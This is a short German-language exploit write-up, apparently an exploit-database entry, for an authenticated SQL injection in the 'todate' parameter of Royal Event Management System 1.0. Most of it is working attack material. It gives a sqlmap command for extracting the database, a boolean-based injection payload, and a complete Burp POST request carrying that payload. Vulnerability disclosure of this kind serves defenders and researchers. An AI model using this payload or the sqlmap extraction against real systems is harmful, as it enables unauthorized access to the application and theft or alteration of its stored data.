Royal Event Management System - 'todate' SQL-Injection (Authenticated)

1. Beschreibung:

---

Royal Event Management System 1.0 ermöglicht SQL-Injection über den Parameter 'todate' in /royal_event/btndates_report.php#?=. Die Ausnutzung dieses Problems könnte einem Angreifer erlauben, die Anwendung zu kompromittieren, auf Daten zuzugreifen oder sie zu ändern oder latente Schwachstellen in der zugrunde liegenden Datenbank auszunutzen.

2. Proof of Concept:

---

Interceptieren Sie in Burpsuite die Anfrage von der betroffenen Seite mit dem Parameter 'todate' und speichern Sie sie als poc.txt. Führen Sie dann SQLmap aus, um die Daten aus der Datenbank zu extrahieren:

sqlmap -r poc.txt --dbms=mysql

3. Beispiel-Payload:

---

(boolean-based)

-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns

4. Burpsuite-Anfrage:

---

POST /royal_event/btndates_report.php#?= HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 334
Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0
Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380
Referer: http://localhost/royal_event/btndates_report.php#?=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="todate"

-1' OR 1=1 OR 'ns'='ns
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="search"

3 --f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="fromdate"

01/01/2011
--f289a6438bcc45179bcd3eb7ddc555d0--